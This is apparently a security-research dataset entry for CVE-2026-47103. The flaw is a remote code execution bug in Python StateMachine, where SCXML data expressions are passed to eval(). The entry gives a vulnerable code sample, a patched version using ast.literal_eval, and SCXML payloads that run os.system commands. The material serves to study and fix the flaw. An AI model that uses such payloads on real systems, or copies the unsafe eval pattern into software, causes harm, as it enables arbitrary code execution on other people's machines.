CVE-2026-47103
RCE in Python StateMachine due to unsafe eval of SCXML data expressions.
- CVSS 9.3
- CWE-94
- Input Validation and Sanitization
- Remote
Python StateMachine versions 3.0.0 before 3.2.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary code by supplying malicious SCXML documents containing crafted `<data expr="…">` attributes evaluated unsafely. The SCXMLProcessor passes attacker-controlled expression strings through a call chain ending in Python's built-in eval() without sandboxing, enabling arbitrary code execution in the context of the hosting process.
- CWE
- CWE-94
- CVSS base score
- 9.3
- Published
- 2026-06-17
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Python State
- Fixed by upgrading
- Yes
Solution
Upgrade StateMachine to version 3.2.0 or later.
Vulnerable code sample
import xml.etree.ElementTree as ET
import os
class SCXMLProcessor:
"""
This is a simplified representation of the vulnerable component
from python-statemachine versions prior to 3.2.0.
"""
def process_scxml(self, scxml_string: str):
"""
Parses an SCXML string and processes its datamodel.
"""
root = ET.fromstring(scxml_string)
# Find all <data> elements within the <datamodel>.
data_elements = root.findall('.//datamodel/data')
for element in data_elements:
# The vulnerability exists here.
if 'expr' in element.attrib:
# The 'expr' attribute's content is taken from the XML file
# and executed directly by Python's eval() function without
# any sanitization or sandboxing.
expression = element.attrib.get('expr')
eval(expression)
if __name__ == '__main__':
# This SCXML document is crafted by an attacker to exploit the vulnerability.
# The payload uses __import__ to gain access to the 'os' module and then
# calls 'os.system' to run an arbitrary command.
malicious_scxml = """<?xml version="1.0" encoding="UTF-8"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0">
<datamodel>
<data expr="__import__('os').system('echo RCE Triggered via CVE-2026-47103')"/>
</datamodel>
<state id="main">
<onentry>
<log expr="'Machine started'"/>
</onentry>
</state>
</scxml>
"""
print("Simulating a server processing a user-supplied SCXML document...")
# In a real-world scenario, an application would receive this SCXML
# from a remote, untrusted source and process it.
vulnerable_processor = SCXMLProcessor()
vulnerable_processor.process_scxml(malicious_scxml)
print("Processing complete.")Patched code sample
import ast
# This example simulates the vulnerable component and its fix.
# The original vulnerability was in the SCXMLProcessor class which used `eval()`.
# The fix involves replacing the dangerous `eval()` with a safe alternative
# like `ast.literal_eval()`.
class FixedSCXMLProcessor:
"""
A simulated SCXML processor that demonstrates the fix for an
unsafe `eval()` vulnerability.
"""
def __init__(self):
# The datamodel would hold state variables from the SCXML context.
self.datamodel = {}
def process_data_element_expr(self, expr: str):
"""
Safely evaluates an expression from an SCXML `<data expr="...">` attribute.
The vulnerability was that this function previously used `eval(expr)`.
The fix is to use `ast.literal_eval`, which only evaluates static literals
(strings, numbers, tuples, lists, dicts, booleans, None) and prevents
the execution of arbitrary code, function calls, or imports.
"""
try:
# THE FIX: Replace dangerous `eval()` with `ast.literal_eval()`.
# This prevents execution of functions like `__import__('os').system(...)`.
value = ast.literal_eval(expr)
return value
except (ValueError, SyntaxError, MemoryError, TypeError):
# If the expression is not a valid Python literal, it fails safely
# instead of executing potentially malicious code.
# A real implementation might log this event.
return NonePayload
<?xml version="1.0" encoding="UTF-8"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="initialState">
<state id="initialState">
<datamodel>
<data id="rce" expr="__import__('os').system('id')"/>
</datamodel>
<transition target="endState"/>
</state>
<final id="endState"/>
</scxml>
Cite this entry
@misc{vaitp:cve202647103,
title = {{RCE in Python StateMachine due to unsafe eval of SCXML data expressions.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-47103},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47103/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
